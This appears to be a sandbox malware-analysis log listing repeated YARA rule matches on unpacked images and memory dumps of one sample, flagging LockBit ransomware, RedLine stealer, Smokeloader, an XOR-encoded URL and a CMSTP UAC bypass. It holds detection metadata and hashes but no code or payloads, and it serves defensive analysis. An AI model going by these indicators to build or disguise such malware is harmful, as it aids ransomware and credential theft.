Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000012.00000002.351105527.0000000002C1C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.330612625.0000000002E2C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001A.00000002.349816093.0000000002CCC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.520342340.0000000002E46000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000022.00000002.371381797.0000000002C0C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MAL_EXE_LockBit_v2 date = 2023-01-01, author = Silas Cutler, modified by Florian Roth, description = Detection for LockBit version 2.x from 2011, score = 00260c390ffab5734208a7199df0e4229a76261c3f5b7264c4515acb8eb9c2f8, version = 1.0, modified = 2023-01-06, DaysofYARA = 1/100
Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth (Nextron Systems), description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_89e64044 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = ec45013d3ecbc39ffce5ac18d5bf8b0d18bcadd66659975b0a9f26bcae0a5b49, id = 89e64044-74e4-4679-b6ad-bfb9b264330c, last_modified = 2021-10-04
Source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Lockbit_a1c60939 reference_sample = 0d6524b9a1d709ecd9f19f75fa78d94096e039b3d4592d13e8dbddf99867182d, os = windows, severity = x86, creation_date = 2021-08-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Lockbit, fingerprint = a41fb21e82ee893468393428d655b03ce251d23f34acb54bbf01ae0eb86817bf, id = a1c60939-e257-420d-87ed-f31f30f2fc2a, last_modified = 2021-10-04
